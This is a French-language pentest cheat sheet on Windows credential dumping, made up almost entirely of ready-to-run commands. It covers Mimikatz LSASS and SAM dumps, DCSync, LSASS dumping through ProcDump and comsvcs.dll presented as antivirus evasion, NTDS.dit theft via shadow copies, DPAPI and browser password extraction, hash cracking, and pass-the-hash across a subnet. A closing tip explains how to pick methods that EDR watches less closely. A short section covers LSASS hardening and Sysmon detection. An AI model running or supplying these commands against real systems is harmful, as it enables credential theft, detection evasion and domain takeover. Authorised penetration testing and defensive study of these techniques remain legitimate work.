mimikatzlsasssam
MDstable
Credential Dumping — Mimikatz, LSASS, SAM, NTDS
Extraction de credentials Windows : Mimikatz (LSASS, SAM, DPAPI), dump NTDS.dit, extraction hors ligne
snippetadvanced 2026-05-14 5 min read
mimikatzlsasssamntdscredential-dumpingdpapisecretsdumpwindowspentest
Vue d'ensemble des sources de credentials
Source | Contenu | PrrequisLSASS mmoire | Passwords en clair NTLM hash | SYSTEM ou SeDebugPrivilegeSAM registre | NTLM hash des comptes locaux | SYSTEMNTDSdit DC | Tous les hashes du domaine | Domain AdminDPAPI | Credentials chiffrs browser | Cl master utilisateur| Credential Manager certs |LSA Secrets | Passwords de services cls | SYSTEM
Mimikatz — Commandes essentielles
powershell
# Lancer Mimikatz (nécessite admin / SYSTEM).\mimikatz.exe# Vérifier les droitsmimikatz# privilege::debug# Privilege '20' OK → SeDebugPrivilege actif# Obtenir SYSTEMmimikatz# token::elevate
Dump mémoire LSASS
powershell
# Passwords en clair + hashes NTLM depuis LSASSmimikatz# sekurlsa::logonpasswords# Seulement les hashes NTLM (plus discret)mimikatz# sekurlsa::msv# Tickets Kerberos en mémoiremimikatz# sekurlsa::tickets# Credentials Kerberosmimikatz# sekurlsa::ekeys# Dump WDigest (Windows 7/2008 — passwords en clair si activé)mimikatz# sekurlsa::wdigest
SAM — Hashes locaux
powershell
# Dump de la base SAM (comptes locaux)mimikatz# token::elevatemimikatz# lsadump::sam# LSA Secrets (passwords de services, credentials stockés)mimikatz# lsadump::secrets# Cache de domaine (DCC2 — comptes domaine qui se sont connectés)mimikatz# lsadump::cache
DCSync
powershell
Variables
{{DOMAIN}}
# Simuler un DC pour récupérer les hashes du domainemimikatz# lsadump::dcsync /domain:{{DOMAIN}} /user:Administratormimikatz# lsadump::dcsync /domain:{{DOMAIN}} /all /csv > hashes.csv
Dump LSASS sans Mimikatz (évasion AV)
powershell
Variables
{{USER}}
# Méthode 1 — Task Manager (GUI, discret)# Ouvrir Task Manager → Processes → Local Security Authority Process → Create Dump File# → Copier C:\Users\{{USER}}\AppData\Local\Temp\lsass.DMP vers l'attaquant# Méthode 2 — ProcDump (Sysinternals, signé Microsoft → moins détecté).\procdump64.exe -accepteula -ma lsass.exe lsass.dmp.\procdump64.exe -accepteula -mm lsass.exe lsass_mini.dmp # minidump (plus petit)# Méthode 3 — Via comsvcs.dll (natif Windows, pas de binaire tiers)$pid = (Get-Process lsass).Idrundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $pid C:\Windows\Temp\lsass.dmp full# Méthode 4 — via Powershell direct$lsass = Get-Process lsass$handle = [PSObject].Assembly.GetType('System.Diagnostics.Process').GetMethod('OpenProcessHandle')# (approche silencieuse via API calls — outils : SilentProcessExit, HandleClose)
bash
# Parser le dump lsass.dmp sur la machine attaquante (Linux)pypykatz lsa minidump lsassdmppypykatz lsa minidump lsassdmp -o credentialsjson# Mimikatz sur Windows avec le dumpmimikatz# sekurlsa::minidump lsass.dmpmimikatz# sekurlsa::logonpasswords
SAM hors ligne — Shadow Copy
powershell
Variables
{{X}}
# Si on ne peut pas lire le SAM directement (verrouillé), utiliser VSS# Créer un shadow copyvssadmin create shadow /for=C:# Copier depuis le shadow copycopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy{{X}}\Windows\System32\config\SAM C:\temp\SAMcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy{{X}}\Windows\System32\config\SYSTEM C:\temp\SYSTEMcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy{{X}}\Windows\System32\config\SECURITY C:\temp\SECURITY
bash
# Impacket — extraire les hashes depuis SAM + SYSTEM hors lignesecretsdumppy -sam SAM -system SYSTEM -security SECURITY LOCAL
NTDS.dit — Dump complet du domaine
powershell
Variables
{{X}}
# Méthode 1 — via VSS (Shadow Copy) sur le DCvssadmin create shadow /for=C:copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy{{X}}\Windows\NTDS\ntds.dit C:\temp\ntds.ditcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy{{X}}\Windows\System32\config\SYSTEM C:\temp\SYSTEM# Méthode 2 — ntdsutil (natif Windows)ntdsutil "ac i ntds" "ifm" "create full c:\temp\ntds_dump" q q# → Crée C:\temp\ntds_dump\Active Directory\ntds.dit et registry\SYSTEM
bash
# Parser NTDS.dit + SYSTEM sur la machine attaquantesecretsdumppy -ntds ntdsdit -system SYSTEM LOCALsecretsdumppy -ntds ntdsdit -system SYSTEM LOCAL -just-dc-ntlm -outputfile hashestxt# Cracker les hashes NTLMhashcat -m 1000 hashestxt /usr/share/wordlists/rockyou.txt
DPAPI — Credentials browser et Credential Manager
powershell
Variables
{{USER}}
{{SID}}
{{GUID}}
# Lister les credentials stockés dans Credential Managercmdkey /list# Mimikatz — dump DPAPI (credentials stockés)mimikatz# vault::cred /patchmimikatz# vault::list# Dump des master keys DPAPImimikatz# dpapi::masterkey /in:C:\Users\{{USER}}\AppData\Roaming\Microsoft\Protect\{{SID}}\{{GUID}} /rpc
powershell
# SharpDPAPI — extraction automatisée.\SharpDPAPI.exe credentials # Credential Manager.\SharpDPAPI.exe certificates /mkfile:masterkeys.txt # Certificats.\SharpDPAPI.exe chrome /mkfile:masterkeys.txt # Chrome passwords# LaZagne — extraction multi-sources (Python).\LaZagne.exe all.\LaZagne.exe browsers.\LaZagne.exe windows
Pass-the-Hash (PTH)
bash
Variables
{{NTLM_HASH}}
{{DOMAIN}}
{{TARGET_IP}}
{{TARGET_SUBNET}}
# Utiliser un hash NTLM pour s'authentifier sans mot de passe# Impacket — psexec PTHpsexecpy -hashes {{NTLM_HASH}} {{DOMAIN}}/Administrator{{TARGET_IP}}# smbexec PTHsmbexecpy -hashes {{NTLM_HASH}} {{DOMAIN}}/Administrator{{TARGET_IP}}# wmiexec PTHwmiexecpy -hashes {{NTLM_HASH}} {{DOMAIN}}/Administrator{{TARGET_IP}}# CrackMapExec — PTH sur tout un subnetcrackmapexec smb {{TARGET_SUBNET}} -u Administrator -H {{NTLM_HASH}} --local-authcrackmapexec smb {{TARGET_SUBNET}} -u Administrator -H {{NTLM_HASH}} -x "whoami"
Défense — Protection LSASS
powershell
# Activer PPL (Protected Process Light) pour LSASSSet-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `-Name "RunAsPPL" -Value 1# → Mimikatz ne peut plus dumper LSASS (même en SYSTEM) sans bypass kernel# Activer Credential Guard (bloque WDigest en clair)# → Via GPO : Computer Configuration > Device Guard > Enable VBS# → Requires UEFI + VBS# Désactiver WDigest (empêche les passwords en clair dans LSASS)Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" `-Name "UseLogonCredential" -Value 0# Surveiller le dump LSASS via Sysmon (Event ID 10)# Sysmon config : target image lsass.exe + GrantedAccess 0x1010, 0x1410# Alerte si processus non-System accède à lsass avec ces droits
⚠ Attention —
Le dump de LSASS déclenche des alertes dans les EDR modernes (Defender for Endpoint, CrowdStrike). Les techniques alternatives (comsvcs.dll, ProcDump) sont également détectées. En environnement EDR, privilégier DCSync (si droits DA) ou les dumps VSS hors ligne sur les DCs, moins surveillés que l'accès mémoire LSASS.
OPS·BRAIN v1.075 notes · Securitylocal